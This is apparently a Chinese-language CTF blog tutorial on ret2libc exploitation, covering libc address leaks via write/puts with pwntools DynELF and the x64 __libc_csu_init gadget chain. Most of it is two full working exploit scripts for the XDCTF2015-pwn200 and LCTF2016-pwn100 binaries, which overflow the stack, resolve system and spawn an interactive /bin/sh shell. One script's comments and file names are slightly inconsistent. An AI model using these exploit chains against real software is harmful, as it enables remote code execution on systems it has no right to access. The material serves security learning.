天天看點

用DynELF子產品和通用gadget實作libc通殺(詳細注釋)用DynELF子產品和通用gadget實作libc通殺(詳細注釋)

用DynELF子產品和通用gadget實作libc通殺(詳細注釋)

文章目錄

  • 用DynELF子產品和通用gadget實作libc通殺(詳細注釋)
      • 洩露libc版本方式
        • x86版本
        • x64版本
      • 萬能gadget
      • ret2libc
        • x86版本
        • x64版本

洩露libc版本方式

主要原理:利用棧溢出等寫入棧的手段調用write或者puts函數,并控制write或puts函數參數洩露libc函數真實位址

  • write函數特點:可以控制大小,但是在64位程式中需要使用gadget進行寄存器傳參,有時可能碰不到合适gadget
  • puts函數特點:不可控制輸出大小,但是所需參數少,常見,使用靈活。

x86版本

由于x86程式直接使用棧傳參,是以可以直接通過構造棧控制函數調用參數

以XDCTF2015-pwn200為例

def leak(address):
	payload = "A" * 112  # 棧大小
	payload += p32(writeplt)  # write函數plt表位址位址
	payload += p32(vulnaddress)  # 傳回位址,持續控制
	payload += p32(1)  # write标準輸出
	payload += p32(address)  # 目的輸出
	payload += p32(4)  # 長度
	p.send(payload)
	data = p.recv(4)  # recv長度4位元組
	print "%#x => %s" % (address, (data or '').encode('hex'))
	return data
           

x64版本

x64程式先使用寄存器傳參,當參數不多于6個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

以LCTF2016-pwn100為例

由于在程式中沒有找到write函數的調用,是以隻能使用puts函數進行洩露

def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8  # 填充垃圾資料
  payload += p64(poprdi) + p64(address)  # 目标位址,需要先把位址pop到rdi中
  payload += p64(putsplt)  # 調用puts
  payload += p64(startaddress)  # 因為puts函數會一直輸出,直到遇到棧中的截斷字元,是以為了保證棧的平衡,是以傳回到start
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  # 為了接收到puts函數輸出的所有字元,逐字元的接收拼接字元串,因為不知道puts函數以什麼字元結束輸出,是以引入逾時機制
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
           

萬能gadget

下面的代碼會出現一條叫做萬能gadget的gadget,詳細的解釋可以點這裡,為了節省大家的時間,這裡直接說說大概内容:在棧溢出的場景下,隻要 x64 程式中調用了 libc.so,就會自帶一個很好用的通用Gadget:pop6

用DynELF子產品和通用gadget實作libc通殺(詳細注釋)用DynELF子產品和通用gadget實作libc通殺(詳細注釋)

圖中就是我們所說的通用gadget,這個gadget到底有多通用呢?

假如我們把這個gadget分成兩個片段——0x40075A和0x400740,我們先調用gadget1(40075A),這個gadget可以把rbx,rbp,r12,r13,r14,r15都設成我們需要的值,一直到這裡,這個gadget1都還沒有展現出它的價值,但當我們return到gadget2(400740)的位置時,你會驚奇地發現,剛才設定的r13、r14的值直接變成了給rdx,rsi賦的值

到目前為止,我們已經控制了函數參數傳遞的兩個寄存器(rdx,rsi),但這還不是全部,在0x400762處,pop r15的機器碼為41 5F,而pop rdi的機器碼是5F,是以,在0x400763的位置還隐藏着一條gadget3——pop rdi;retn。至此,函數調用約定的前三個傳參寄存器的值都已經在我們的控制中了

而這時候通過控制r12和rbx的值,可以實作任意已知位址函數的調用(400749)

然後通過合理設定rbp的值,就可以順序執行到400764的return,繼續執行ROP鍊。(當然也可以通過控制rbp與rbx不等使得gadget2被重複執行)

ret2libc

獲知libc版本後,我們就可以通過持續的棧控制進行任意libc函數的調用。

主要原理:libc各函數裝載到記憶體中時,各函數之間的偏移量是确定的,是以根據已知函數的位址就可以得出任意libc函數的位址

x86版本

函數通過棧傳參,是以隻要能控制棧就能用

以XDCTF2015-pwn200為例

from pwn import *
p = process("pwn200")
elf = ELF("pwn200")
# 已調用過的函數got表位址已知
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']

vulnaddress =  0x08048484  # 洩露位址後傳回函數位址(可再次棧溢出的位置)
startaddress = 0x080483d0  # 調用start函數,用以恢複棧,同時可以持續控制
bssaddress =   0x0804a020  # 資料段,用來寫入“/bin/sh”字元串

def leak(address):
	payload = "A" * 112  # 棧大小
	payload += p32(writeplt)  # write函數plt表位址位址
	payload += p32(vulnaddress)  # 傳回位址,持續控制
	payload += p32(1)  # write标準輸出
	payload += p32(address)  # 目的輸出
	payload += p32(4)  # 長度
	p.send(payload)
	data = p.recv(4)  # recv長度4位元組
	print "%#x => %s" % (address, (data or '').encode('hex'))
	return data

# 找到system函數
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
# 使用start_addr恢複棧狀态
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()

# 要是64位程式的話,通過寄存器傳參就不會出現棧不平衡的情況。但是作為32位程式,參數是通過寄存器傳遞的,是以在調用完read函數後,寫入的“p32(0) + p32(bss_addr) + p32(8)”參數還殘留在棧上,為了達到持續挾持的目的,是以需要找到一個gadget把前面的内容pop掉以保持棧平衡
pop3_addr = 0x0804856c  # pop ebx ; pop edi ; pop ebp ; ret
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(pop3_addr)
payload1 += p32(0)  # 從給定位址的第0個位元組開始讀入
payload1 += p32(bssaddress)  # 給定位址
payload1 += p32(8)  # 讀取長度
# 調用system函數,傳回位置還是為了持續控制的棧溢出位置
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)

p.send(payload1)
p.send('/bin/sh')
p.interactive()
           

x64版本

以LCTF2016-pwn100為例

from pwn import *

p = process("./pwn100")
elf = ELF("./pwn100")
# 沒有write
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']

mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =     0x400763  # gadget3
pop6address  =  0x40075a  # gadget1
movcalladdress = 0x400740  # gadget2
waddress =     0x601000 #可寫的位址,應該隻要不是readonly的位址都可以,pwngdb在程式運作起來後可以用 vmmap指令檢視可寫段

def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)

print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8  # 垃圾資料
#           gadget1            pop到rbx pop到rbp  pop到r12       r13      r14             r15
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)

#gadget1 return到 gadget2
# 這裡把r13複制到rdx,把r14複制到rsi,把r15的低位元組複制到rdi的低位元組
# 随後調用r12+rbx*8(read函數),參數為0,wadress,8
payload1 += p64(movcalladdress)  

# 由于調用過後,rbp=rbx,順序執行gadget1,此時有縮棧和pop6的操作,為了保證棧平衡,往棧裡填充x00*56(7 * 8)
payload1 += 'x00'*56
# 已經讀入/bin/sh,傳回start address恢複棧
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)

print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)  # gadget3把/bin/sh位址放入rdi
payload2 += p64(systemAddress)  # 調用system
payload2 += p64(startaddress)  # 恢複棧
payload2 =  payload2.ljust(200, "B")
p.send(payload2)
p.interactive()
           

繼續閱讀